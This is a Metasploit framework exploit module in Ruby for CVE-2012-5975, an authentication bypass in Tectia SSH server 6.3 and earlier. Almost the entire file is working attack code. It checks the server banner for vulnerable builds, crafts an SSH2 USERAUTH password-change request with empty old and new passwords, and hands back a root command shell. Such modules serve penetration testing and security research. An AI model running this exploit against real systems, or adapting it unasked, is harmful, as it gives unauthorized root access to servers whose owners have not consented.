Path: blob/master/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::Tcp12include Msf::Exploit::Remote::SSH1314def initialize(info = {})15super(16update_info(17info,18'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",19'Description' => %q{20This module exploits a vulnerability in Tectia SSH server for Unix-based21platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request22before password authentication, allowing any remote user to bypass the login23routine, and then gain access as root.24},25'License' => MSF_LICENSE,26'Author' => [27'kingcope', # Original 0day28'bperry',29'sinn3r'30],31'References' => [32['CVE', '2012-5975'],33['EDB', '23082'],34['OSVDB', '88103'],35['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12']36],37'Payload' => {38'Compat' =>39{40'PayloadType' => 'cmd_interact',41'ConnectionType' => 'find'42}43},44'Platform' => 'unix',45'Arch' => ARCH_CMD,46'Targets' => [47['Unix-based Tectia SSH 6.3 or prior', {}]48],49'Privileged' => true,50'DisclosureDate' => '2012-12-01',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62Opt::RPORT(22),63OptString.new('USERNAME', [true, 'The username to login as', 'root'])64], self.class65)6667register_advanced_options(68[69OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])70]71)72end7374def check75connect76banner = sock.get_once.to_s.strip77vprint_status("#{rhost}:#{rport} - Banner: #{banner}")78disconnect7980# Vulnerable version info obtained from CVE81version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''82build = version.split('.')[-1].to_i8384case version85when /^6\.0/86unless (4..14).include?(build) or (17..20).include?(build)87return Exploit::CheckCode::Safe88end8990when /^6\.1/91unless (0..9).include?(build) or build == 1292return Exploit::CheckCode::Safe93end9495when /^6\.2/96unless (0..5).include?(build)97return Exploit::CheckCode::Safe98end99100when /^6\.3/101unless (0..2).include?(build)102return Exploit::CheckCode::Safe103end104else105return Exploit::CheckCode::Safe106end107108# The vulnerable version must use PASSWORD method109user = Rex::Text.rand_text_alpha(4)110transport, connection = init_ssh(user)111return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)112113return Exploit::CheckCode::Safe114end115116def rhost117datastore['RHOST']118end119120def rport121datastore['RPORT']122end123124def is_passwd_method?(user, transport)125# A normal client is expected to send a ssh-userauth packet.126# Without it, the module can hang against non-vulnerable SSH servers.127transport.send_message(transport.service_request("ssh-userauth"))128message = transport.next_message129130# 6 means SERVICE_ACCEPT131if message.type != 6132print_error("Unexpected message: #{message.inspect}")133return false134end135136# We send this packet as an attempt to see what auth methods are available.137# The only auth method we want is PASSWORD.138pkt = Net::SSH::Buffer.from(139:byte, 0x32, # userauth request140:string, user, # username141:string, "ssh-connection", # service142:string, "password" # method name143)144pkt.write_bool(true)145pkt.write_string("") # Old pass146pkt.write_string("") # New pass147148transport.send_message(pkt)149message = transport.next_message150151# Type 51 means the server is trying to tell us what auth methods are allowed.152if message.type == 51 and message.to_s !~ /password/153print_error("#{rhost}:#{rport} - This host does not use password method authentication")154return false155end156157return true158end159160#161# The following link is useful to understand how to craft the USERAUTH password change162# request packet:163# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903164#165def userauth_passwd_change(user, transport, connection)166print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")167pkt = Net::SSH::Buffer.from(168:byte, 0x32, # userauth request169:string, user, # username170:string, "ssh-connection", # service171:string, "password" # method name172)173pkt.write_bool(true)174pkt.write_string("") # Old pass175pkt.write_string("") # New pass176177transport.send_message(pkt)178message = transport.next_message.type179print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")180181if message.to_i == 52 # SSH2_MSG_USERAUTH_SUCCESS182transport.send_message(transport.service_request("ssh-userauth"))183message = transport.next_message.type184185if message.to_i == 6 # SSH2_MSG_SERVICE_ACCEPT186shell = Net::SSH::CommandStream.new(connection, logger: self)187connection = nil188return shell189end190end191end192193def init_ssh(user)194opts = ssh_client_defaults.merge({195:user => user,196:port => rport197})198options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)199transport = Net::SSH::Transport::Session.new(rhost, options)200connection = Net::SSH::Connection::Session.new(transport, options)201202return transport, connection203end204205def do_login(user)206transport, connection = init_ssh(user)207passwd = is_passwd_method?(user, transport)208209if passwd210conn = userauth_passwd_change(user, transport, connection)211return conn212end213end214215def exploit216c = nil217218begin219::Timeout.timeout(datastore['SSH_TIMEOUT']) do220c = do_login(datastore['USERNAME'])221end222rescue Rex::ConnectionError223return224rescue Net::SSH::Disconnect, ::EOFError225print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"226return227rescue Net::SSH::Exception => e228print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"229return230rescue ::Timeout::Error231print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"232return233end234235handler(c.lsock) if c236end237end238239240